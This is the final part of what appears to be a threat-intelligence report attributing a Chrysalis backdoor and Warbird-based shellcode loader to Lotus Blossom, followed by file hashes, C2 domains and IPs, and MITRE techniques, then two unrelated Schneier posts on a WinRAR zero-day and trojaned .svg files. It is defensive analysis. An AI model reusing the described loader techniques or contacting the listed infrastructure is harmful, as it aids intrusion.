lotus-blossom-Warbird-operations-documented-by-DownWithUp.png
Figure 12: Warbird operations documented by DownWithUp

Referring to the snippet we saw  from “ConsoleApplication2.exe”, the operation is equal to WbHeapExecuteCall which gives us the answer on how the shellcode gained execution. Thanks to work of other researchers, we also know that this technique only works if the code resides inside of memory of Microsoft signed binary, thus revealing why clipc.dll has been used. The blog post from cirosec also contains a link for their POC of this technique which is almost the same replica of “ConsoleApplication2.exe”, hinting that author of “ConsoleApplication2.exe” simply copied it and modified to execute Metasploit block_api shellcode instead of the benign calc from POC. The comparison of the Cobalt Strike beacon configuration delivered via conf.c and “ConsoleApplication2.exe” revealed shared trades between these two, most notably domain, public key, and process injection technique.

Attribution

Attribution is primarily based on strong similarities between the initial loader observed in this intrusion and previously published Symantec research. Particularly the use of a renamed “Bitdefender Submission Wizard” to side-load “log.dll” for decrypting and executing an additional payload.
In addition, similarities of the execution chain of “conf.c” retrieved from the infected asset and other loaders that we found, supported by the same public key extracted from CS beacons delivered through “conf.c” and “ConsoleApplication2.exe” suggests with moderate confidence, that the threat actor behind this campaign is likely Lotus Blossom.

Conclusion

The discovery of the Chrysalis backdoor and the Warbird loader highlights an evolution in Billbug’s capabilities. While the group continues to rely on proven techniques like DLL sideloading and service persistence, their multi layered shellcode loader and integration of undocumented system calls (NtQuerySystemInformation) marks a clear shift toward more resilient and stealth tradecraft.

What stands out is the mix of tools: the deployment of custom malware (Chrysalis) alongside commodity frameworks like Metasploit and Cobalt Strike, together with the rapid adaptation of public research (specifically the abuse of Microsoft Warbird). This demonstrates that Billbug is actively updating their playbook to stay ahead of modern detection.

Rapid7 Customers

Intelligence Hub

Customers using Rapid7’s Intelligence Hub gain direct access to Chrysalis backdoor, Metasploit loaders and Cobalt Strike IOCs, including any future indicators as they are identified.

Indicators of compromise (IoCs)

File indicators

update.exe

a511be5164dc1122fb5a7daa3eef9467e43d8458425b15a640235796006590c9

[NSIS.nsi]

8ea8b83645fba6e23d48075a0d3fc73ad2ba515b4536710cda4f1f232718f53e

BluetoothService.exe

2da00de67720f5f13b17e9d985fe70f10f153da60c9ab1086fe58f069a156924

BluetoothService

77bfea78def679aa1117f569a35e8fd1542df21f7e00e27f192c907e61d63a2e

log.dll

3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad

u.bat

9276594e73cda1c69b7d265b3f08dc8fa84bf2d6599086b9acc0bb3745146600

conf.c

f4d829739f2d6ba7e3ede83dad428a0ced1a703ec582fc73a4eee3df3704629a

libtcc.dll

4a52570eeaf9d27722377865df312e295a7a23c3b6eb991944c2ecd707cc9906

admin

831e1ea13a1bd405f5bda2b9d8f2265f7b1db6c668dd2165ccc8a9c4c15ea7dd

loader1

0a9b8df968df41920b6ff07785cbfebe8bda29e6b512c94a3b2a83d10014d2fd

uffhxpSy

4c2ea8193f4a5db63b897a2d3ce127cc5d89687f380b97a1d91e0c8db542e4f8

loader2

e7cd605568c38bd6e0aba31045e1633205d0598c607a855e2e1bca4cca1c6eda

3yzr31vk

078a9e5c6c787e5532a7e728720cbafee9021bfec4a30e3c2be110748d7c43c5

ConsoleApplication2.exe

b4169a831292e245ebdffedd5820584d73b129411546e7d3eccf4663d5fc5be3

system

7add554a98d3a99b319f2127688356c1283ed073a084805f14e33b4f6a6126fd

s047t5g.exe

fcc2765305bcd213b7558025b2039df2265c3e0b6401e4833123c461df2de51a

Network indicators

95.179.213.0

api.skycloudcenter.com
api.wiresguard.com

61.4.102.97

59.110.7.32

124.222.137.114

MITRE TTPs

ATT&CK ID

Name

T1204.002

User Execution: Malicious File

T1036

Masquerading

T1027

Obfuscated Files or Information

T1027.007

Obfuscated Files or Information: Dynamic API Resolution

T1140

Deobfuscate/Decode Files or Information

T1574.002

DLL Side-Loading

T1106

Native API

T1055

Process Injection

T1620

Reflective Code Loading

T1059.003

Command and Scripting Interpreter: Windows Command Shell

T1083

File and Directory Discovery

T1005

Data from Local System

T1105

Ingress Tool Transfer

T1041

Exfiltration Over C2 Channel

T1071.001

Application Layer Protocol: Web Protocols (HTTP/HTTPS)

T1573

Encrypted Channel

T1547.001

Boot or Logon Autostart Execution: Registry Run Keys

T1543.003

Create or Modify System Process: Windows Service

T1480.002

Execution Guardrails: Mutual Exclusion

T1070.004

Indicator Removal on Host: File Deletion

Zero-Day Exploit in WinRAR File

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2025/08/zero-day-exploit-in-winrar-file.html

A zero-day vulnerability in WinRAR is being exploited by at least two Russian criminal groups:

The vulnerability seemed to have super Windows powers. It abused alternate data streams, a Windows feature that allows different ways of representing the same file path. The exploit abused that feature to trigger a previously unknown path traversal flaw that caused WinRAR to plant malicious executables in attacker-chosen file paths %TEMP% and %LOCALAPPDATA%, which Windows normally makes off-limits because of their ability to execute code.

More details in the article.

Trojans Embedded in .svg Files

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2025/08/trojans-embedded-in-svg-files.html

Porn sites are hiding code in .svg files:

Unpacking the attack took work because much of the JavaScript in the .svg images was heavily obscured using a custom version of “JSFuck,” a technique that uses only a handful of character types to encode JavaScript into a camouflaged wall of text.

Once decoded, the script causes the browser to download a chain of additional obfuscated JavaScript. The final payload, a known malicious script called Trojan.JS.Likejack, induces the browser to like a specified Facebook post as long as a user has their account open.

“This Trojan, also written in Javascript, silently clicks a ‘Like’ button for a Facebook page without the user’s knowledge or consent, in this case the adult posts we found above,” Malwarebytes researcher Pieter Arntz wrote. “The user will have to be logged in on Facebook for this to work, but we know many people keep Facebook open for easy access.”

This isn’t a new trick. We’ve seen Trojaned .svg files before.